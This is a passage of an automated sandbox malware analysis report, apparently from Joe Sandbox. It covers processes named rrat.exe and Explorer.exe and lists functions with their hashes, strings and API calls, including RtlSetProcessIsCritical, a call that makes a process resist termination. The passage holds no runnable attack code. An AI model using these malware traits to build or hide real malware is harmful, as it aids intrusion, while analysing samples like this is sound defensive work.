Instruction Fuzzy Hash: 751108B1A002509FEF64DF39AD86B5633D4A780774F982626FA28FF3D0EB70D8454284

Function 00EA04CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E9E105: GetLastError.KERNEL32(?,?,00E98F0C,?,?,?,00E98987,00000050), ref: 00E9E109
Part of subcall function 00E9E105: _free.LIBCMT ref: 00E9E13C
Part of subcall function 00E9E105: SetLastError.KERNEL32(00000000), ref: 00E9E17D
Part of subcall function 00E9E105: _abort.LIBCMT ref: 00E9E183

_abort.LIBCMT ref: 00EA0500
_free.LIBCMT ref: 00EA0534

Strings

@;, xrefs: 00EA052B

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorLast_abort_free
String ID: @;
API String ID: 289325740-3452451375
Opcode ID: 61015cfa96421d4c2e22a9312a236f314a1a536771565ed43bb7a8af9acf728c
Instruction ID: 3fd6c7dc1a5c2d6c984eb41d55e4599a540573eeef8326f06bdf6025daa0fe24
Opcode Fuzzy Hash: 61015cfa96421d4c2e22a9312a236f314a1a536771565ed43bb7a8af9acf728c
Instruction Fuzzy Hash: E3019B71D057259FCB319F6D984255EB3B0BF0AB25B15120AE4247B281C730BE41CFC5

Function 00E880E5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E8812B

Strings

z%s%02d, xrefs: 00E8811A, 00E88124
z%s%d, xrefs: 00E8810A

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _swprintf
String ID: z%s%02d$z%s%d
API String ID: 589789837-468824935
Opcode ID: 302f7109c5f9fb98198f6a8d1b9863b17e0c878d6ea97fe1cba6634e02c3bf33
Instruction ID: edd18aeacde6a6f0af0b0c7332094d273a71c6d4bbd98e5f2e0d7097b861e49e
Opcode Fuzzy Hash: 302f7109c5f9fb98198f6a8d1b9863b17e0c878d6ea97fe1cba6634e02c3bf33
Instruction Fuzzy Hash: 33F090699001086ADF04BA548E07CDA77AAEB9A344B40B025FE1DBB151EE71EE5687A0

Function 00E8F290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB,?), ref: 00E8F2AD
GetWindowLongW.USER32(?,000000EB), ref: 00E8F2BA

Strings

f2, xrefs: 00E8F2D4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: LongWindow
String ID: f2
API String ID: 1378638983-4265717505
Opcode ID: e77db8538f9ac261d96639fbdf61affa9588b1b19183d0c569aae926ce4e388a
Instruction ID: 925ee783b4674ec1421db9473a50fe893ab541c578836321d352997ef49de8de
Opcode Fuzzy Hash: e77db8538f9ac261d96639fbdf61affa9588b1b19183d0c569aae926ce4e388a
Instruction Fuzzy Hash: 7FF01C3600410DBFCF016F69DC58C9E3F65FB99321B008525F91A69171D732D920EF50

Function 00E848FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00E840B5,?), ref: 00E84903
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00E840B5,?), ref: 00E84911

Strings

RTL, xrefs: 00E8490B

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 954ed53ad941b6cd637c7b05f5d9f807e2e826d90d2f679ff917191614b28135
Instruction ID: 307e5e0c3415089a6db3a74b660f08c296ef24690524bb31c55fdca94372252f
Opcode Fuzzy Hash: 954ed53ad941b6cd637c7b05f5d9f807e2e826d90d2f679ff917191614b28135
Instruction Fuzzy Hash: 56C012716443119EF63027326D4DB833D445B46B11F050494B145BA1D0DEE5E448C760

Analysis Process: rrat.exePID: 1968, Parent PID: 1372COMMON

Execution Graph

Execution Coverage:	30.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 023F2810 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL(?,?,?), ref: 023F287D

Memory Dump Source

Source File: 00000005.00000002.2088975855.00000000023F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23f0000_rrat.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 7549e5bd995e968300265f7547af890d98d2283f4ffe41fca360826b183aa1e4
Instruction ID: 236239a504a254de5a3b1c39aec55b0bad1277ae097d2fc26843ba2afd9ff20f
Opcode Fuzzy Hash: 7549e5bd995e968300265f7547af890d98d2283f4ffe41fca360826b183aa1e4
Instruction Fuzzy Hash: 121110B58046488FCB20DF9AD484BDEBFF4FF88310F208059D958A3250C775A944CFA1

Function 023F2818 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL(?,?,?), ref: 023F287D

Memory Dump Source

Source File: 00000005.00000002.2088975855.00000000023F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23f0000_rrat.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 6cf7a827d317b0753bd73813e326d42821fef1ad9c6ab11cc4d76442d4514e83
Instruction ID: 4faa352ed643164d003aadaf6dc4fc8016f61002088ca51feee09b37bb615921
Opcode Fuzzy Hash: 6cf7a827d317b0753bd73813e326d42821fef1ad9c6ab11cc4d76442d4514e83
Instruction Fuzzy Hash: 7B11F2B59006498FCB20DF9AD584BDEBFF4FF48310F208019D918A7250C775A944CFA5

Function 00B0D6DC Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2088650289.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b0d000_rrat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54990c8ede3a1549952c96428e060d4b7590c80cc2edcaa375e21e51c4686a54
Instruction ID: 17a79a5c2bb1f09caa5272083c65e7c701cbbf403892e8a4696badd4b616ef46
Opcode Fuzzy Hash: 54990c8ede3a1549952c96428e060d4b7590c80cc2edcaa375e21e51c4686a54
Instruction Fuzzy Hash: ED210375544204DFCB05DF94D9C0B26BFA6FB98324F2085A9E9090B2D6C33ADC56DAA2

Function 00B0D6D7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2088650289.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b0d000_rrat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: ccd752d7f1d72f1a4bbfe510032b176565f24165ec6b85064e578dbac111f918
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 6A11D376504244CFCB06CF54D5C4B16BFB2FB94324F24C6E9D9490B296C336D85ACBA2

Function 00B0D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2088650289.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b0d000_rrat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 030d6c1437843e1a272d4f8bfb39c89efaf9b2e716ce86538b8a6e467221e319
Instruction ID: 7b8f1bcf6cc0aaa725bd3e336d504439eae914cbfee6558e1d0ad890e6cd3c4f
Opcode Fuzzy Hash: 030d6c1437843e1a272d4f8bfb39c89efaf9b2e716ce86538b8a6e467221e319
Instruction Fuzzy Hash: 800129714093849ED7128A258894652BFA8EF53224F1984DBE9888F2E7D2695C45CB72

Function 00B0D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2088650289.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b0d000_rrat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20965fda425a177c3f374a2475898522aa6f6aa910e4bbebfef0d641a8ac6564
Instruction ID: 6c5179536dfda029d612fed15d423d112eb6bea01f41661ea3ba58387503e4e2
Opcode Fuzzy Hash: 20965fda425a177c3f374a2475898522aa6f6aa910e4bbebfef0d641a8ac6564
Instruction Fuzzy Hash: 5D012B715053049EE7208E55CCC4B67BFDCEF45320F18C4A9ED4D0B2C6D2799801CAB5

Analysis Process: Explorer.exePID: 7356, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 029727D0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL(?,?,?), ref: 0297283D

Memory Dump Source

Source File: 00000010.00000002.4490742809.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2970000_Explorer.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 797077d2f12add35d58628b25a5f76175591669afc6397e8f08f007fcbba0f4f
Instruction ID: 24ba2063420f745d20350d0bc00a8c47fd76f09995740c99a4b94dbc9b0ff4ab
Opcode Fuzzy Hash: 797077d2f12add35d58628b25a5f76175591669afc6397e8f08f007fcbba0f4f
Instruction Fuzzy Hash: A41113B58042488FCB20DF9AC584ADEBFF4EB49310F208059D959A3251C779A545CFA1

Function 029727D8 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL(?,?,?), ref: 0297283D

Memory Dump Source

Source File: 00000010.00000002.4490742809.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2970000_Explorer.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: ca5542bacb50893857a3751f71c753d30b139a5e45f50c47d21d0275f7d975bd
Instruction ID: 48136df54e1bc4bd045fd016483ea5fe40b9de85e8c45f86979631af048177c2
Opcode Fuzzy Hash: ca5542bacb50893857a3751f71c753d30b139a5e45f50c47d21d0275f7d975bd
Instruction Fuzzy Hash: 9911F2B59006488FCB20DF9AC984ADEBFF4FB49310F208059D919A7250C779A944CFA5

Function 00D9D0EC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4489944551.0000000000D9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d9d000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be0d72698c0c1d6b6eea3ff4bea80969234f43e4d8d9355a133314e8812afd2e
Instruction ID: 0b764c7a440b8e6909a37c7b6edc01cbd425f6ddbda23106a888c744b737ae28
Opcode Fuzzy Hash: be0d72698c0c1d6b6eea3ff4bea80969234f43e4d8d9355a133314e8812afd2e
Instruction Fuzzy Hash: 1321F272544304AFDF04DF24D980B26BB66FB94314F24C569D8495B396C33AD806CAB1

Function 00D9D0E7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4489944551.0000000000D9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d9d000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 0e92b01b1e2af85dbbdf16db929d61cd6b5735df0a832307635ae8b1fa4317c2
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 1C119D76504380DFDB06CF14D9C4B15BFB2FB84314F28C6A9D8494B656C33AD84ACBA2

Function 00D8D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4489886972.0000000000D8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d8d000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d344334ac410e7d53e0edeae1e89e3a4e9ffe444a99a32c2aac6d8b4cb48a1f
Instruction ID: 3db04774943580aa21905b10b6fc5dd4459e3d3c794eb2e2174acf6085fd17c3
Opcode Fuzzy Hash: 1d344334ac410e7d53e0edeae1e89e3a4e9ffe444a99a32c2aac6d8b4cb48a1f
Instruction Fuzzy Hash: 30012B714043449AE720AE16CC84B67BF9DEF45324F2CC429ED480B2C6C279D801C7B1

Function 00D8D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4489886972.0000000000D8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d8d000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d53a5e49a84475224af192840f3e95caa773adde611cd7f0b98abafd31cfba5
Instruction ID: a0ccbfd6f20548d222b7c8d2da431960d4f3575e9bcbece321329aa8acca2821
Opcode Fuzzy Hash: 7d53a5e49a84475224af192840f3e95caa773adde611cd7f0b98abafd31cfba5
Instruction Fuzzy Hash: F4014C6140E3C09ED7128B258C94A52BFB4EF57224F1D80DBD9888F2E7C2695849C772

Analysis Process: Explorer.exePID: 7412, Parent PID: 7228COMMON

Executed Functions

Function 03401111 Relevance: 3.9, Strings: 3, Instructions: 162COMMON

Download Yara Rule

Strings

(aq, xrefs: 034013EA
d6p, xrefs: 0340115D
Te]q, xrefs: 03401145

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID: (aq$Te]q$d6p
API String ID: 0-967301506
Opcode ID: 044dcd8865099a46a52d3ccf246c0a2ae2caa17b599604ef2bd75860ac767c91
Instruction ID: 360a0dfff25d83cef1083d3e7f58ecd1c71ad3ba571b0c37752d16bb2b5d2f89
Opcode Fuzzy Hash: 044dcd8865099a46a52d3ccf246c0a2ae2caa17b599604ef2bd75860ac767c91
Instruction Fuzzy Hash: B3515D39B101149FC744DF69C498B9EBBF6FF88710F2580AAE406EB3A5CA75DC018B95

Function 03400F78 Relevance: 2.6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

Strings

dLcq, xrefs: 03400FB3
Haq, xrefs: 03401098

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID: Haq$dLcq
API String ID: 0-1713614415
Opcode ID: 392f36e872d4c6ac5042821e397c628d664f7aa5fb17484d645adbbd6e2c83c9
Instruction ID: b536fc5084f39bf8b9c27bcf37602b525749ad7b379fb4968baf3c83c830c28e
Opcode Fuzzy Hash: 392f36e872d4c6ac5042821e397c628d664f7aa5fb17484d645adbbd6e2c83c9
Instruction Fuzzy Hash: FE41B1307042049FCB05DF69D498B9EBBF6EF89300F1484AAE405DB3A5CA74DC05CB91

Function 0340168C Relevance: 1.7, Strings: 1, Instructions: 480COMMON

Download Yara Rule

Strings

LR]q, xrefs: 034019EB

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: ccad9abb12609a54e02c121b3c09ff64acc143b53ab390f3ff937e2b6f8f6476
Instruction ID: dfdf273f3b3f0c68ea1d00348b16f29b41f4874bda64f7a4dd42541c4504e2a7
Opcode Fuzzy Hash: ccad9abb12609a54e02c121b3c09ff64acc143b53ab390f3ff937e2b6f8f6476
Instruction Fuzzy Hash: D031A034F002169FCB45EB79845566F7BF6FF89214B144079E009EB3A4DE34DC028B92

Function 034015CD Relevance: 1.7, Strings: 1, Instructions: 472COMMON

Download Yara Rule

Strings

LR]q, xrefs: 034019EB

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 67490948f10960e0d5fb41cfa740fa348d5da8f2b42047c61312e3b5f229c3c0
Instruction ID: e92a3b773da1aed525f72c5ec33e485224b0a58ea3b59ffbb2d83e140106c678
Opcode Fuzzy Hash: 67490948f10960e0d5fb41cfa740fa348d5da8f2b42047c61312e3b5f229c3c0
Instruction Fuzzy Hash: 63312334F082468FC741DB78885466EBBF2EF85300B1844BAD04ADB3A5DA34DC02C796

Function 03400F68 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

dLcq, xrefs: 03400FB3

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID: dLcq
API String ID: 0-2236789282
Opcode ID: 5c2c95c083c8288ef81795887f0655b49c1e57831bd5574bbf9a4299a9350611
Instruction ID: a4aea3619fe30796a6c2e4d4df80eb7aca54c6b94649c53c59dafbe6ab61bc33
Opcode Fuzzy Hash: 5c2c95c083c8288ef81795887f0655b49c1e57831bd5574bbf9a4299a9350611
Instruction Fuzzy Hash: 92319C75A002059FCB14DF69C588BAEBBF6FF48300F18856AE445AB3A1CB75EC05CB90

Function 03401097 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

Haq, xrefs: 03401098

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 69fecda24e21a3da0e96f53c3ddf34d7ebbaee3207282e8df6c4fb7c9847a85b
Instruction ID: c23b25bfe76a92b6166499b0feaf347b4cd30d4b951859d41618d4be75f41263
Opcode Fuzzy Hash: 69fecda24e21a3da0e96f53c3ddf34d7ebbaee3207282e8df6c4fb7c9847a85b
Instruction Fuzzy Hash: 65F02B317082501FC3459B3DA89466E7BD7EFDA66076A84FEE109CB39ACD28CC038391

Function 03400740 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5195f5e9f31de51b522a36d95dd10d7988f17d8f7b32702b61abc5e4d8da98b5
Instruction ID: feb450169ab81aa30880a5690df44fcce51359919180e1889cd61b27f36c3132
Opcode Fuzzy Hash: 5195f5e9f31de51b522a36d95dd10d7988f17d8f7b32702b61abc5e4d8da98b5
Instruction Fuzzy Hash: D8F08C70A0E3C8AFC702CF799964649BFB5AA47100B0540EFD849DB193E5351E05C792

Function 03400CFB Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1adce2dc4332750cf4b0275da472294bd65d62d23cb22d738fd0b69adb959255
Instruction ID: b60c79d5a4ee59a5548a8aa3523b06fe9bbbe823a1d31c41398d69ddb8a6b771
Opcode Fuzzy Hash: 1adce2dc4332750cf4b0275da472294bd65d62d23cb22d738fd0b69adb959255
Instruction Fuzzy Hash: FD51E630601291CFD715EF24F594959777BFF84305320866DD8068B368DB79AD4ACF82

Function 03401428 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdb57ffa0ee55484ca5873b3307296a622c4a196e7bcae172a819d269cff7e68
Instruction ID: 5c44d2253419f0dbfc6348e228ed717392deb45d8f39373e648292bb217f8c5e
Opcode Fuzzy Hash: bdb57ffa0ee55484ca5873b3307296a622c4a196e7bcae172a819d269cff7e68
Instruction Fuzzy Hash: 5A41A070F00209AFCB04EFB985846AEFBFAEF88300F20C56AD459D7355DA349D418B95

Function 03400A28 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1001e106daa7d65951a0df5147c6dfbcad5e4262c230ead5a26d2e10d247b4
Instruction ID: a32cd0a397839157c7901bb5487c48db9015df3d39a3f50b4bf0b4064e44e853
Opcode Fuzzy Hash: fa1001e106daa7d65951a0df5147c6dfbcad5e4262c230ead5a26d2e10d247b4
Instruction Fuzzy Hash: 3C318030700242CFDB64DBB5995872B7AAAEF94249B08443FD816DB2C4EF34D905CB9A

Function 03400A38 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b51874391973cf2103649f85ec9239cd43a0b34733908e277556006705e62d7
Instruction ID: 0dd7ad624ac1857a02feb99729499af79e1a6990c0dc20831adbb2e2c0a36c92
Opcode Fuzzy Hash: 2b51874391973cf2103649f85ec9239cd43a0b34733908e277556006705e62d7
Instruction Fuzzy Hash: 0E315070700243CFDB64EBB4A55472B76AAEF90659B08443ED816DB2C4EF34D905CB9A

Function 03401A91 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90ac1c8997a046ff8ae60cfad45f59777182701e9a12fdfe1d13ca63f8904b5
Instruction ID: efed1b523e508dcd5232353272717ffa80daf106cc43a83cc6c9edf73220a944
Opcode Fuzzy Hash: e90ac1c8997a046ff8ae60cfad45f59777182701e9a12fdfe1d13ca63f8904b5
Instruction Fuzzy Hash: 3A115774B00245DFCB54EBB9D44466A7BF6EF89204B1408BAD40AEB395EA34D942CB85

Function 03401AA0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3068b1f54a8459f59c4fe760a21f900041d0dae9e9a873566417e6aa2713679f
Instruction ID: 890cdcee8cb0d7966affe38640251633a3467ec5158b78b55e95f1d1e3090d5f
Opcode Fuzzy Hash: 3068b1f54a8459f59c4fe760a21f900041d0dae9e9a873566417e6aa2713679f
Instruction Fuzzy Hash: 38117974B00205DFCB54EFB9950462B7BEAEF8820071048BAD40ADB394EA34DC42CB95

Function 017BD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2158750480.00000000017BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 017BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_17bd000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bd6764d9f24aaed4dc52a80ac0aa37d77f1af570ea002c99a289a929a3087e4
Instruction ID: bc400f5c538a0498e65c385769e69f5d6d2a4dcf1c381d792109309571f2bb0e
Opcode Fuzzy Hash: 7bd6764d9f24aaed4dc52a80ac0aa37d77f1af570ea002c99a289a929a3087e4
Instruction Fuzzy Hash: 81012B711043009AE7308A99CDC4BE7FFDCEF463A8F18C569ED484B286C3799801CAB1

Function 03400BA8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
